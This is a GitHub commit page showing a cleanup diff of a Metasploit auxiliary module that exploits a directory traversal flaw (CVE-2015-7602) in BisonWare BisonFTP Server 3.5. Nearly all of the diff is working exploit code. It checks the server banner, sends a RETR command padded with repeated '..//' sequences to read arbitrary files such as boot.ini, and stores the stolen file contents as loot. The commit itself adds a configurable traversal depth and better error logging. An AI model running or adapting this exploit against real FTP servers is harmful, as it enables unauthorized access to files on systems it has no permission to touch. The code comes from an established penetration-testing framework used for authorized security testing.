Skip to content

Commit 40bdd2b

Browse files
committed
Do module cleanup for auxiliary/scanner/ftp/bison_ftp_traversal
1 parent 75a0472 commit 40bdd2b

File tree

1 file changed

+31
-25
lines changed

1 file changed

+31
-25
lines changed

modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb

Lines changed: 31 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -13,42 +13,47 @@ class Metasploit3 < Msf::Auxiliary
1313

1414
def initialize(info = {})
1515
super(update_info(info,
16-
'Name' => 'BisonWare BisonFTP Server Directory Traversal Information Disclosure',
17-
'Description' => %q{
16+
'Name' => 'BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure',
17+
'Description' => %q{
1818
This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server
1919
version 3.5. This vulnerability allows an attacker to download arbitrary files from the server
2020
by crafting a RETR command including file system traversal strings such as '..//.'
2121
},
22-
'Platform' => 'win',
23-
'Author' =>
22+
'Platform' => 'win',
23+
'Author' =>
2424
[
25-
'Jay Turla <@shipcod3>', # msf and initial discovery
25+
'Jay Turla', # @shipcod3, msf and initial discovery
2626
'James Fitts',
27-
'Brad Wolfe' #brad.wolfe[at]gmail.com
27+
'Brad Wolfe <brad.wolfe[at]gmail.com>'
2828
],
29-
'License' => MSF_LICENSE,
30-
'References' =>
29+
'License' => MSF_LICENSE,
30+
'References' =>
3131
[
3232
[ 'EDB', '38341'],
3333
[ 'CVE', '2015-7602']
3434
],
35-
'DisclosureDate' => 'Sep 28 2015'))
35+
'DisclosureDate' => 'Sep 28 2015'
36+
))
3637

3738
register_options(
3839
[
40+
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
3941
OptString.new('PATH', [ true, "Path to the file to disclose, releative to the root dir.", 'boot.ini'])
4042
], self.class)
4143

4244
end
4345

44-
def check
45-
connect
46-
disconnect
47-
if (banner =~ /BisonWare BisonFTP server product V3.5/)
48-
return Exploit::CheckCode::Appears
49-
else
50-
return Exploit::CheckCode::Safe
46+
def check_host(ip)
47+
begin
48+
connect
49+
if /BisonWare BisonFTP server product V3\.5/i === banner
50+
return Exploit::CheckCode::Appears
51+
end
52+
ensure
53+
disconnect
5154
end
55+
56+
Exploit::CheckCode::Safe
5257
end
5358

5459
def run_host(target_host)
@@ -60,7 +65,7 @@ def run_host(target_host)
6065
file = ::File.basename(file_path)
6166

6267
# make RETR request and store server response message...
63-
retr_cmd = ( "..//" * 32 ) + "#{file_path}"
68+
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
6469
res = send_cmd( ["RETR", retr_cmd])
6570

6671
# read the file data from the socket that we opened
@@ -73,15 +78,16 @@ def run_host(target_host)
7378

7479
# store file data to loot
7580
loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)
76-
print_status("Stored #{file_path} to #{loot_file}")
77-
78-
# Read and print the data from the loot file.
79-
info_disclosure = print_line(loot_file)
80-
print_status("Printing contents of #{file_path}")
81-
print_good("Result:\n #{info_disclosure}")
81+
vprint_status("Data returned:\n")
82+
vprint_line(response_data)
83+
print_good("Stored #{file_path} to #{loot_file}")
8284

83-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
84-
rescue ::Timeout::Error, ::Errno::EPIPE
85+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
86+
vprint_error(e.message)
87+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
88+
rescue ::Timeout::Error, ::Errno::EPIPE => e
89+
vprint_error(e.message)
90+
elog("#{e.class} #{e.message} #{e.backtrace * "\n"}")
8591
ensure
8692
data_disconnect
8793
disconnect

0 commit comments

Comments
 (0)